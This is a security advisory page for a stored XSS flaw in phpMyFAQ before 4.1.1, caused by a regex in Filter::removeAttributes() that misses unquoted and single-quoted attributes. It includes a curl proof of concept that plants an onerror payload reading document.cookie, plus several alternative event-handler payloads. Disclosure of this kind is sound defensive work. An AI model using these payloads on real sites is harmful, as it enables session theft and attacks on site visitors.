CVE-2026-34729: phpMyFAQ: Stored XSS via Regex Bypass in Filter::removeAttributes()

Published Apr 1, 2026
·
Updated

Summary The sanitization pipeline for FAQ content is: 1. Filter::filterVar($input, FILTERSANITIZESPECIALCHARS) — encodes <, >, ", ', & to HTML entities 2. htmlentitydecode($input, ENTQUOTES | ENTHTML5) — decodes entities back to characters 3. Filter::removeAttributes($input) — removes dangerous HTML attributes

The removeAttributes() regex at line 174 only matches attributes with double-quoted values: php pregmatchall(pattern: '/[a-z]+=".+"/iU', subject: $html, matches: $attributes);

This regex does NOT match: - Attributes with single quotes: onerror='alert(1)' - Attributes without quotes: onerror=alert(1)

An attacker can bypass sanitization by submitting FAQ content with unquoted or single-quoted event handler attributes.

Details

Affected File: phpmyfaq/src/phpMyFAQ/Filter.php, line 174

Sanitization flow for FAQ question field:

FaqController::create() lines 110, 145-149: php $question = Filter::filterVar($data->question, FILTERSANITIZESPECIALCHARS); // ... ->setQuestion(Filter::removeAttributes(htmlentitydecode( (string) $question, ENTQUOTES | ENTHTML5, encoding: 'UTF-8', )))

Template rendering: faq.twig line 36: twig <h2 class="mb-4 border-bottom">{{ question | raw }}</h2>

How the bypass works:

1. Attacker submits: <img src=x onerror=alert(1)> 2. After FILTERSANITIZESPECIALCHARS: &lt;img src=x onerror=alert(1)&gt; 3. After htmlentitydecode(): <img src=x onerror=alert(1)> 4. pregmatchall('/[a-z]+=".+"/iU', ...) runs: - The regex requires ="..." (double quotes) - onerror=alert(1) has NO quotes → NOT matched - src=x has NO quotes → NOT matched - No attributes are found for removal 5. Output: <img src=x onerror=alert(1)> (XSS payload intact) 6. Template renders with |raw: JavaScript executes in browser

Why double-quoted attributes are (partially) protected:

For <img src="x" onerror="alert(1)">: - The regex matches both src="x" and onerror="alert(1)" - src is in $keep → preserved - onerror is NOT in $keep → removed via strreplace() - Output: <img src="x"> (safe)

But this protection breaks with single quotes or no quotes.

PoC

Step 1: Create FAQ with XSS payload (requires authenticated admin): bash curl -X POST 'https://target.example.com/admin/api/faq/create' \ -H 'Content-Type: application/json' \ -H 'Cookie: PHPSESSID=adminsession' \ -d '{ "data": { "pmf-csrf-token": "validcsrftoken", "question": "<img src=x onerror=alert(document.cookie)>", "answer": "Test answer", "lang": "en", "categories[]": 1, "active": "yes", "tags": "test", "keywords": "test", "author": "test", "email": "test@test.com" } }'

Step 2: XSS triggers on public FAQ page

Any user (including unauthenticated visitors) viewing the FAQ page triggers the XSS: https://target.example.com/content/{categoryId}/{faqId}/{lang}/{slug}.html

The FAQ title is rendered with |raw in faq.twig line 36 without HtmlSanitizer processing (the processQuestion() method in FaqDisplayService only applies search highlighting, not cleanUpContent()).

Alternative payloads: html <img/src=x onerror=alert(1)> <svg onload=alert(1)> <details open ontoggle=alert(1)>

Impact

- Public XSS: The XSS executes for ALL users viewing the FAQ page, not just admins. - Session hijacking: Steal session cookies of all users viewing the FAQ. - Phishing: Display fake login forms to steal credentials. - Worm propagation: Self-replicating XSS that creates new FAQs with the same payload. - Malware distribution: Redirect users to malicious sites.

Note: While planting the payload requires admin access, the XSS executes for all visitors (public-facing). This is not self-XSS.

Other sources

phpMyFAQ is an open source FAQ web application. Prior to version 4.1.1, there is a stored XSS vulnerability via Regex Bypass in Filter::removeAttributes(). This issue has been patched in version 4.1.1.

NVD

Affected Software

2 affected componentsFixes available
composer/phpmyfaq/phpmyfaq<=4.1.0
4.1.1
PhpMyFaq phpmyfaq<4.1.1

Event History

Apr 1, 2026
Advisory Published
via GitHub·10:31 PM
Data Sourced
via GitHub·10:31 PM
DescriptionSeverityWeaknessAffected Software
Apr 2, 2026
CVE Published
via MITRE·02:46 PM
Data Sourced
via MITRE·02:46 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·03:16 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203